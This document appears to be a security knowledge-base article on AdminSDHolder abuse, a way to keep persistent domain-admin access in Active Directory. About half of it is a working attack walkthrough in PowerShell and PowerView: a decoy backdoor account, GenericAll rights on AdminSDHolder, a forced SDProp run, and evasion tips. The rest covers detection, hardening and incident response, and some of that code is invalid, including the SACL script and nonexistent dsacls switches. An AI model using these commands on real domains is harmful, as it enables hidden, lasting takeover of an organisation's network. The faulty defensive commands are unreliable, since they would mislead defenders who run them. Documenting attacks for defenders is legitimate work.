| Attribute | Details |
|---|---|
| Technique ID | PERSIST-ACCT-001 |
| Technique Name | AdminSDHolder Abuse |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Persistence (TA0003) |
| Platforms | Windows Active Directory |
| Severity | CRITICAL |
| CVE | N/A |
| Technique Status | ACTIVE – Verified working on Server 2016 through 2025 |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2008 R2 – 2025 (all AD versions) |
| Patched In | Not patched – This is a feature, not a vulnerability. Defense depends on monitoring and access control. |
| Author | SERVTEP – Artur Pchelnikau |
Concept: AdminSDHolder is a critical Active Directory object (located at CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL) that serves as a security descriptor template for protecting highly privileged accounts and groups (Domain Admins, Enterprise Admins, Schema Admins, etc.). The Security Descriptor Propagation process (SDProp) runs every 60 minutes on the Primary Domain Controller Emulator (PDCE) and automatically reapplies the AdminSDHolder’s ACL to all protected objects. An attacker with sufficient privileges can modify AdminSDHolder’s ACL to grant themselves persistent administrative rights. Once modified, every time SDProp executes, the malicious permissions propagate to all protected objects—even if administrators detect and remove the attacker from privileged groups within that 60-minute window, SDProp will automatically restore the malicious ACE to protected accounts.
Attack Surface: The AdminSDHolder object itself, specifically its Discretionary Access Control List (DACL). Only Domain Admins or higher-privileged accounts can modify it under default configurations, making this a post-compromise persistence technique rather than an initial access vector.
Business Impact: Undetectable persistent administrative access across the entire domain. An attacker can regain full Domain Admin rights even if their primary compromised account is discovered and disabled. The attacker maintains a hidden backdoor that survives password resets, account disablement, and group membership removal for up to 60 minutes at a time. This enables data exfiltration, ransomware deployment, lateral movement to other forests, and long-term domain compromise.
Technical Context: Exploitation requires Domain Admin or equivalent privileges first. The actual backdoor installation takes < 1 minute (a single PowerShell command). However, the attacker must wait up to 60 minutes for SDProp to propagate changes automatically (unless they force SDProp to run, which requires admin access). Detection is difficult because changes to AdminSDHolder are legitimate administrative activities; distinguishing malicious modifications requires continuous ACL baseline comparison.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.2.3 | Restrict modification of AdminSDHolder and auditing of privileged group membership changes. | | DISA STIG | WN19-AU-000160 | Ensure audit policy for “Directory Service Changes” is enabled (Event 5136). | | CISA SCuBA | AC-6(2) | Least Privilege – Restrict Domain Admin accounts and enforce just-in-time (JIT) access. | | NIST 800-53 | AC-3, AC-6, AU-2 | Access Enforcement, Least Privilege, Audit Events (specifically directory modifications). | | GDPR | Art. 32 | Security of Processing – Integrity and confidentiality of personal data (access controls). | | DORA | Art. 9 | Protection and Prevention – Requires continuous monitoring and timely detection of privilege escalation. | | NIS2 | Art. 21(1)(c) | Cyber Risk Management – Access control and monitoring of administrative functions. | | ISO 27001 | A.9.2.1, A.9.2.3 | Management of Privileged Access Rights; restrict and monitor Administrative privileges. | | ISO 27005 | Risk Scenario | “Compromise of Administration Interface” – Direct attack on domain-level controls. |
Supported Versions:
# Import ActiveDirectory module (already available on DC, must be installed on workstations)
Import-Module ActiveDirectory
# Get the current ACL on AdminSDHolder
$AdminSDHolderDN = "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
Get-ADObject -Identity $AdminSDHolderDN -Properties nTSecurityDescriptor |
Select-Object -ExpandProperty nTSecurityDescriptor |
Select-Object -ExpandProperty Access |
Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize
What to Look For:
Expected Output (Secure State):
IdentityReference ActiveDirectoryRights AccessControlType
----------------- --------------------- -----------------
NT AUTHORITY\SYSTEM FullControl Allow
BUILTIN\Administrators Modify Allow
DOMAIN\Domain Admins ReadProperty, ExtendedRight Allow
DOMAIN\Enterprise Admins ReadProperty, ExtendedRight Allow
NT AUTHORITY\Authenticated Users Read Allow
# Download and load PowerView
Import-Module PowerView.ps1
# Check AdminSDHolder ACL
Get-DomainObjectAcl -SamAccountName "AdminSDHolder" -ResolveGUIDs |
Format-Table IdentityReference, ActiveDirectoryRights, ObjectAceType
# Find all objects with AdminCount=1 (these are protected)
Get-ADObject -LDAPFilter "(adminCount=1)" -Properties adminCount |
Select-Object Name, DistinguishedName, ObjectClass |
Format-Table -AutoSize
What to Look For:
Version Note: This command works identically on Server 2016 through 2025. No version-specific variations.
Supported Versions: Server 2008 R2 – 2025 (Any AD version)
Objective: Import PowerView module and verify network connectivity to the domain.
Command:
# From a Windows host with network access to DC
$VerbosePreference = "Continue"
Import-Module .\PowerView.ps1
# Verify domain connectivity
Get-Domain | Select-Object -Property Name, Forest, DomainControllers
Expected Output:
Name Forest DomainControllers
---- ------ -----------------
yourdomain yourdomain.com {dc1.yourdomain.local, dc2.yourdomain.local}
What This Means:
OpSec & Evasion:
Troubleshooting:
Import-Module : The specified module 'PowerView.ps1' was not found.
Import-Module .\PowerView.ps1 -ForceGet-Domain : The term 'Get-Domain' is not recognized.
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force (for current process only)References & Proofs:
Objective: Verify that the current user has sufficient privileges (Domain Admin) to modify AdminSDHolder.
Command:
# Check if current user is a Domain Admin
$CurrentUser = [Security.Principal.WindowsIdentity]::GetCurrent().User
$AdminGroup = (Get-ADGroup -Identity "Domain Admins").SID
$User = Get-ADUser -Filter "SID -eq '$CurrentUser'" -Properties MemberOf
if ($User.MemberOf -like "*Domain Admins*") {
Write-Host "✓ Current user is a Domain Admin – proceed with exploitation" -ForegroundColor Green
} else {
Write-Host "✗ Current user does NOT have Domain Admin privileges" -ForegroundColor Red
}
Expected Output (If Compromised):
✓ Current user is a Domain Admin – proceed with exploitation
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-ADUser : Cannot find an object with identity
Import-Module ActiveDirectory firstReferences & Proofs:
Objective: Grant the attacker-controlled user full control (GenericAll) on the AdminSDHolder object. This ACE will be automatically propagated to all protected groups by SDProp.
Command:
# Define target AdminSDHolder object
$AdminSDHolder = "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
# Define the principal to grant permissions (replace with attacker's username or a backdoor account)
$Principal = "yourdomain\backdoor_user"
# Method 1: Using PowerView (Recommended for stealth)
Add-DomainObjectAcl -TargetIdentity $AdminSDHolder -PrincipalIdentity $Principal -Rights All -Verbose
# This adds GenericAll rights, which effectively makes the principal a Domain Admin once SDProp runs
Expected Output:
VERBOSE: [Add-DomainObjectAcl] adding rights to object CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local for principal yourdomain\backdoor_user
What This Means:
OpSec & Evasion:
Troubleshooting:
Add-DomainObjectAcl : Access Denied
Add-DomainObjectAcl : Object not found
yourdomain with your actual domain name and .local with your FQDN suffix (e.g., DC=company,DC=com)References & Proofs:
Objective: Trigger the Security Descriptor Propagation (SDProp) process immediately instead of waiting 60 minutes.
Command (Using LDAP/RootDSE):
# Get the PDC Emulator
$PDC = (Get-ADDomain).PDCEmulator
# Connect to the RootDSE on the PDC
$RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/RootDSE")
# Trigger the RunProtectAdminGroupsTask (SDProp)
$RootDSE.Put("RunProtectAdminGroupsTask", 1)
$RootDSE.CommitChanges()
Write-Host "✓ SDProp triggered on $PDC – changes will propagate within 1-5 minutes" -ForegroundColor Green
Expected Output:
✓ SDProp triggered on DC1.yourdomain.local – changes will propagate within 1-5 minutes
What This Means:
OpSec & Evasion:
Alternative (Stealth): Wait 60 Minutes
# Just wait – SDProp will run automatically on its scheduled interval
# Monitor for Event ID 4780 on the PDC to confirm propagation
Troubleshooting:
RootDSE.Put : Object reference not set to an instance of an object
ping $PDCCommitChanges : Access Denied
References & Proofs:
Objective: Confirm that the malicious ACE has been propagated to protected objects (proof of successful exploitation).
Command:
# Wait for SDProp to complete (60 minutes, or force it per Step 4)
# Then verify the backdoor user's permissions on Domain Admins group
$DomainAdminsGroup = Get-ADGroup -Identity "Domain Admins"
$DomainAdminsACL = Get-ACL "AD:\$($DomainAdminsGroup.DistinguishedName)"
# Check if the backdoor user has rights on Domain Admins
$BackdoorUser = Get-ADUser -Identity "backdoor_user"
$BackdoorUserPermissions = $DomainAdminsACL.Access | Where-Object {
$_.IdentityReference -like "*backdoor_user*"
}
if ($BackdoorUserPermissions) {
Write-Host "✓ PERSISTENCE CONFIRMED: backdoor_user has the following rights on Domain Admins:" -ForegroundColor Green
$BackdoorUserPermissions | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType
} else {
Write-Host "✗ Persistence not yet confirmed – SDProp may not have completed" -ForegroundColor Red
}
Expected Output (If Successful):
✓ PERSISTENCE CONFIRMED: backdoor_user has the following rights on Domain Admins:
IdentityReference ActiveDirectoryRights AccessControlType
----------------- --------------------- -----------------
DOMAIN\backdoor_user GenericAll Allow
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-ADUser : Cannot find an object with identity 'backdoor_user'
Add-DomainObjectAcl commandReferences & Proofs:
Supported Versions: Server 2008 R2 – 2025 (all with ActiveDirectory module)
Import-Module ActiveDirectory
# Option A: Create a new hidden service account (if not already created)
$AccountName = "SVC_Maintenance"
$Password = ConvertTo-SecureString "SuperComplexPassword123!" -AsPlainText -Force
New-ADUser -Name $AccountName `
-SamAccountName $AccountName `
-UserPrincipalName "$AccountName@yourdomain.com" `
-AccountPassword $Password `
-Enabled $false # Keep disabled to avoid detection
-Description "System maintenance account"
Write-Host "✓ Backdoor account created: $AccountName (disabled by default)"
# Option B: Use an existing service account (if already compromised)
$AccountName = "SVC_ADConnect" # Use an existing account
# Get AdminSDHolder object
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$AdminSDHolderACL = Get-ACL $AdminSDHolderPath
# Get the SID of the backdoor account
$BackdoorUser = Get-ADUser -Identity $AccountName
$BackdoorSID = $BackdoorUser.SID
# Create a new ACE granting GenericAll (full control) to the backdoor account
$GenericAllGUID = [guid]'00000000-0000-0000-0000-000000000000' # Applies to all properties
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$BackdoorSID,
"GenericAll",
"Allow",
$GenericAllGUID,
"All"
)
# Add the ACE to the ACL
$AdminSDHolderACL.AddAccessRule($ACE)
# Apply the modified ACL
Set-ACL -Path $AdminSDHolderPath -AclObject $AdminSDHolderACL
Write-Host "✓ Malicious ACE added to AdminSDHolder. SDProp will propagate in ~60 minutes." -ForegroundColor Green
Expected Output:
✓ Malicious ACE added to AdminSDHolder. SDProp will propagate in ~60 minutes.
What This Means:
Supported Versions: All Windows versions with LDP.exe installed (usually on Windows Server or from RSAT tools)
ldp.exe
dc1.yourdomain.local)yourdomain\admin) and passwordRunProtectAdminGroupsTask, Value = 1Alternative: Use the exploitation commands in Method 1 directly as a simulation
URL: PowerSploit GitHub
Version: 3.0+ (current as of 2025)
Minimum Version: 3.0
Supported Platforms: Windows (PowerShell 5.0+)
Installation:
# Download from GitHub
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" -OutFile "PowerView.ps1"
# Import
Import-Module .\PowerView.ps1
Usage:
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" `
-PrincipalIdentity "attacker_user" `
-Rights All -Verbose
URL: Microsoft Learn - ActiveDirectory Module
Version: Built-in on Windows Server 2008 R2+
Installation: Add-WindowsFeature RSAT-AD-PowerShell (Server) or Windows RSAT tools (Client)
Key Cmdlets:
Get-ADUser, Get-ADGroup, Get-ADObjectGet-ACL, Set-ACLNew-ADUser, New-ADGroupURL: Built-in on Windows Server or via RSAT
Version: OS-dependent (no separate version)
Usage: GUI-based LDAP editor for modifying directory service objects directly
Rule Configuration:
wineventlog (or forwarded Security event index)WinEventLog:SecurityEventCode, ObjectDNSPL Query:
index=wineventlog sourcetype="WinEventLog:Security" EventCode=5136
ObjectDN="CN=AdminSDHolder,CN=System*"
| stats count by User, Computer, ObjectDN, AttributeValue
| where count > 0
What This Detects:
Manual Configuration Steps:
Alert when number of events is greater than 0False Positive Analysis:
User NOT IN ("SYSTEM", "NT AUTHORITY\NETWORK SERVICE", "svc_audit_tool")Rule Configuration:
AuditLogs (Azure AD audit log)OperationName, TargetResources, InitiatedByKQL Query:
AuditLogs
| where OperationName contains "Modify" or OperationName contains "Add"
| where TargetResources[0].displayName == "AdminSDHolder" or TargetResources[0].id contains "AdminSDHolder"
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
| extend TargetObject = TargetResources[0].displayName
| project TimeGenerated, OperationName, InitiatedByUser, TargetObject, Result
| sort by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
AdminSDHolder Modification DetectionAlerts when AdminSDHolder ACL is modifiedCritical1 hour1 hourManual Configuration Steps (PowerShell - Sentinel Module):
# Connect to Azure
Connect-AzAccount
# Get workspace
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "AdminSDHolder Modification Detection" `
-Severity Critical `
-Query @"
AuditLogs
| where OperationName contains "Modify" or OperationName contains "Add"
| where TargetResources[0].displayName == "AdminSDHolder"
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
| project TimeGenerated, OperationName, InitiatedByUser
"@
Source: Microsoft Sentinel GitHub - AdminSDHolder Rules
ObjectDN contains "CN=AdminSDHolder"Manual Configuration Steps (Group Policy):
gpmc.msc)gpupdate /force on all domain controllersManual Configuration Steps (Modify AdminSDHolder SACL Directly):
# Add SACL entry to AdminSDHolder for auditing all modifications
$AdminSDHolder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$AdminSDHolderPath = "AD:\$($AdminSDHolder.DistinguishedName)"
# Get current security descriptor
$SD = Get-ACL -Path $AdminSDHolderPath
# Add a SACL entry to audit all modifications
$SACL = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
"Everyone",
"AuditFlags" = [System.Security.AccessControl.AuditFlags]::All,
"ObjectAceType" = [guid]'00000000-0000-0000-0000-000000000000'
)
# Note: This requires modifying the SACL (System Access Control List)
# More commonly done via LDP.exe or DSACLS tool
# Alternative using command line:
dsacls "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" /G:Everyone:SACL /inheritance:e
TaskCategory = "User Account Management" AND EventID = 4780What to Look For:
Manual Configuration Steps: The 4780 event is automatically logged if:
To force logging:
# In Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Account Management
# Enable: "Audit User Account Management" = Success
Minimum Sysmon Version: 10.0+
Sysmon is less useful for LDAP-based attacks like AdminSDHolder abuse (it primarily monitors process and file system activity). However, if an attacker uses PowerShell to execute the backdoor commands, Sysmon can detect the PowerShell process and command-line arguments.
Sysmon Config (Detect PowerShell with Add-DomainObjectAcl):
<Sysmon schemaversion="4.70">
<EventFiltering>
<!-- Capture Process Creation for PowerShell -->
<ProcessCreate onmatch="include">
<ParentImage condition="image">powershell.exe</ParentImage>
<CommandLine condition="contains any">
Add-DomainObjectAcl;
Add-ObjectAcl;
Set-ACL;
AdminSDHolder
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xmlGet-Service Sysmon64Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Alert Name: Suspicious modification of the AdminSDHolder's ACL
Severity: Critical
Description: Alerts when AdminSDHolder object is modified by any user other than SYSTEM or during scheduled maintenance windows
Applies To: All subscriptions with Defender for Servers and Defender for Identity enabled
Manual Configuration Steps (Enable Defender for Cloud):
Manual Configuration Steps (Create Custom Alert in Defender for Cloud):
# Defender for Cloud does not have a dedicated "AdminSDHolder" rule, but you can enable the built-in alert:
# Navigate to Azure Portal → Defender for Cloud → Alerts → Manage alert rules
# Search for "Active Directory" or "Privilege Escalation"
# Enable all related alerts
Note: AdminSDHolder is on-premises only; Purview Unified Audit Log tracks cloud activity (M365, Entra ID). For hybrid environments, use both on-premises Security Event Log and Azure AD Audit Logs (via Sentinel).
Applies To Versions: Server 2016 – 2025
Manual Steps (Group Policy – Enable Auditing):
gpmc.msc)gpupdate /force on all DCsManual Steps (Establish ACL Baseline):
# On the PDC Emulator, export the current AdminSDHolder ACL as a baseline
$AdminSDHolder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" -Properties nTSecurityDescriptor
$AdminSDHolderPath = "AD:\$($AdminSDHolder.DistinguishedName)"
$CurrentACL = Get-ACL $AdminSDHolderPath
# Export to CSV for comparison
$CurrentACL.Access | Export-Csv -Path "C:\Baseline_AdminSDHolder_ACL_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
Write-Host "✓ Baseline exported to C:\Baseline_AdminSDHolder_ACL_*.csv"
Write-Host " Compare this baseline to current ACL monthly to detect unauthorized changes"
Manual Steps (Continuous Monitoring Script – Weekly):
# Schedule this script to run weekly via Task Scheduler
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$CurrentACL = Get-ACL $AdminSDHolderPath
$BaselineACL = Import-Csv "C:\Baseline_AdminSDHolder_ACL_*.csv" | Select-Object IdentityReference, ActiveDirectoryRights
# Compare
$Differences = Compare-Object -ReferenceObject $BaselineACL -DifferenceObject ($CurrentACL.Access | Select-Object IdentityReference, ActiveDirectoryRights) -Property IdentityReference
if ($Differences) {
Write-Warning "⚠ AdminSDHolder ACL CHANGES DETECTED!"
Write-Warning "New/Modified entries:"
$Differences | Where-Object { $_.SideIndicator -eq "=>" } | Format-Table
# Alert SOC
Send-MailMessage -From "SecurityAlerts@yourdomain.com" -To "soc@yourdomain.com" `
-Subject "CRITICAL: AdminSDHolder ACL Modification Detected" `
-Body "Unauthorized changes detected. Review immediately: $AdminSDHolderPath" `
-SmtpServer "smtp.yourdomain.com"
} else {
Write-Host "✓ AdminSDHolder ACL baseline unchanged"
}
Applies To Versions: All (no version variants)
Manual Steps (Remove Non-Essential ACEs):
# Get AdminSDHolder ACL
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$ACL = Get-ACL $AdminSDHolderPath
# Remove any ACE not explicitly required (e.g., any user/service account with Modify or Write permissions)
$ACL.Access | Where-Object {
($_.IdentityReference -notmatch "SYSTEM|Administrators|Domain Admins|Enterprise Admins") -and
($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty|GenericAll|Modify")
} | ForEach-Object {
Write-Warning "Removing suspicious ACE: $($_.IdentityReference) - $($_.ActiveDirectoryRights)"
$ACL.RemoveAccessRule($_)
}
# Apply cleaned ACL
Set-ACL -Path $AdminSDHolderPath -AclObject $ACL
Write-Host "✓ Non-essential permissions removed from AdminSDHolder"
Applies To Versions: Server 2016 – 2025
Manual Steps:
regedit)HKLM\SYSTEM\CurrentControlSet\Services\NTDS\ParametersAdminSDProtectFrequency (default = 3600 seconds = 60 minutes)600 secondsPowerShell Alternative:
# Reduce SDProp interval to 10 minutes (600 seconds)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "AdminSDProtectFrequency" `
-Value 600 `
-Force
Write-Host "✓ SDProp interval changed to 10 minutes. Restart NTDS for changes to take effect."
# Restart NTDS: Restart-Service NTDS -Force
⚠ Trade-off: Reducing the interval increases CPU usage on the PDC and generates more 4780 events, but allows faster detection of AdminSDHolder abuse.
Manual Steps (Azure Identity Governance):
Result: Administrators can no longer have standing Domain Admin access. They must request and receive approval before activating privileged roles, which creates audit trails and limits exposure.
Manual Steps (Entra Conditional Access):
Protect Privileged Accounts from Unusual AccessResult: Any unusual access pattern (login from new location, impossible travel, unusual IP) is automatically blocked for privileged accounts.
Manual Steps:
# Audit protected group memberships
$ProtectedGroups = @(
"Domain Admins",
"Enterprise Admins",
"Schema Admins",
"Account Operators",
"Backup Operators",
"Print Operators"
)
foreach ($Group in $ProtectedGroups) {
$Members = Get-ADGroupMember -Identity $Group -Recursive
Write-Host "=== $Group ===" -ForegroundColor Cyan
$Members | Select-Object SamAccountName, ObjectClass | Format-Table
# Review and remove unnecessary members
# Remove-ADGroupMember -Identity $Group -Members "user_account" -Confirm:$false
}
Result: Minimize the attack surface by removing service accounts, old employees, or test accounts from privileged groups.
Schedule a monthly review of:
adminCount = 1# Monthly audit script
Get-ADObject -LDAPFilter "(adminCount=1)" -Properties adminCount, MemberOf |
Select-Object Name, DistinguishedName, ObjectClass, MemberOf |
Export-Csv -Path "C:\AdminAudit_$(Get-Date -Format 'yyyyMMdd').csv"
Write-Host "✓ Admin audit exported. Review for unexpected accounts with adminCount=1"
ObjectDN = "CN=AdminSDHolder,CN=System*" and ObjectClass = "container"ActiveDirectoryRights = "GenericAll" or "WriteDacl" or "WriteProperty"IdentityReference = Non-standard user account (not SYSTEM, Admins, Domain Admins)AccessControlType = "Allow"Disk (Event Log):
C:\Windows\System32\winevt\Logs\Security.evtx – Event IDs 5136, 4780C:\Windows\System32\winevt\Logs\Directory Service.evtx – Detailed AD modifications (if DS auditing enabled)Memory (LSASS.exe):
Cloud (Entra ID Audit Log):
Network (LDAP Traffic):
CN=AdminSDHolder,CN=System* (port 389 or 636 for LDAPS)# Identify the compromised account
$CompromisedUser = "attacker_account"
# Disable the account immediately
Disable-ADAccount -Identity $CompromisedUser
Write-Host "✓ $CompromisedUser disabled"
# Remove from all privileged groups
@("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators") | ForEach-Object {
Remove-ADGroupMember -Identity $_ -Members $CompromisedUser -Confirm:$false
Write-Host "✓ Removed from $_"
}
# Force password change on domain admins (as a precaution)
Get-ADGroupMember -Identity "Domain Admins" | ForEach-Object {
Set-ADAccountPassword -Identity $_.SamAccountName -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force)
Write-Host "✓ Password reset for $($_.SamAccountName)"
}
# Export Security Event Log from PDC
$PDC = (Get-ADDomain).PDCEmulator
wevtutil epl security C:\Evidence\Security_$PDC.evtx /remote:$PDC
# Export AdminSDHolder ACL
Get-ACL "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" |
Select-Object -ExpandProperty Access |
Export-Csv -Path "C:\Evidence\AdminSDHolder_ACL.csv"
Write-Host "✓ Forensic evidence collected to C:\Evidence\"
# Restore AdminSDHolder to default ACL
# Option A: Using DSACLS tool (most reliable)
# Note: Must run as Domain Admin on the PDC or a domain admin workstation
dsacls "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" /resetDefaultDACL
Write-Host "✓ AdminSDHolder ACL reset to default"
# Option B: Using PowerShell (more complex, copy ACL from a clean domain object)
# Create a temporary clean user account
New-ADUser -Name "TempClean" -SamAccountName "tempclean" -Enabled $false
# Get its ACL (as a template for users)
$CleanACL = Get-ACL "AD:CN=TempClean,CN=Users,DC=yourdomain,DC=local"
# Apply to AdminSDHolder (this doesn't work directly; DSACLS is preferred)
# Remove the temp account
Remove-ADUser -Identity "TempClean" -Confirm:$false
# Check that AdminSDHolder has been restored
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$RestoredACL = Get-ACL $AdminSDHolderPath
# Should match baseline or standard security descriptor
$RestoredACL.Access | Where-Object {
$_.IdentityReference -notmatch "SYSTEM|Administrators|Domain Admins|Enterprise Admins|Authenticated Users"
} | ForEach-Object {
Write-Warning "⚠ Unexpected ACE remains: $($_.IdentityReference)"
}
Write-Host "✓ AdminSDHolder verification complete"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial foothold via phishing or credentials theft |
| 2 | Privilege Escalation | [PE-TOKEN-002] Resource-Based Constrained Delegation (RBCD) | Escalate from regular user to Domain Admin via Kerberos delegation abuse |
| 3 | Persistence (Current) | [PERSIST-ACCT-001] | Backdoor AdminSDHolder for undetectable domain-wide persistence |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash (PTH) | Use Domain Admin privileges to move laterally to other systems |
| 5 | Impact | [CA-DUMP-002] DCSync | Dump hashes from domain controllers; exfiltrate sensitive data |
# Load PowerView and add backdoor in one command
. .\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" -PrincipalIdentity "backdoor_user" -Rights All -Verbose
Get-DomainObjectAcl -SamAccountName "AdminSDHolder" -ResolveGUIDs | ? { $_.IdentityReference -like "*backdoor*" }
dsacls "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" /resetDefaultDACL
while ($true) {
Get-WinEvent -FilterHashtable @{
LogName = "Security"
ID = 5136
StartTime = (Get-Date).AddMinutes(-10)
} | Where-Object { $_.Message -like "*AdminSDHolder*" } |
ForEach-Object { Write-Warning "ALERT: $_" }
Start-Sleep -Seconds 300
}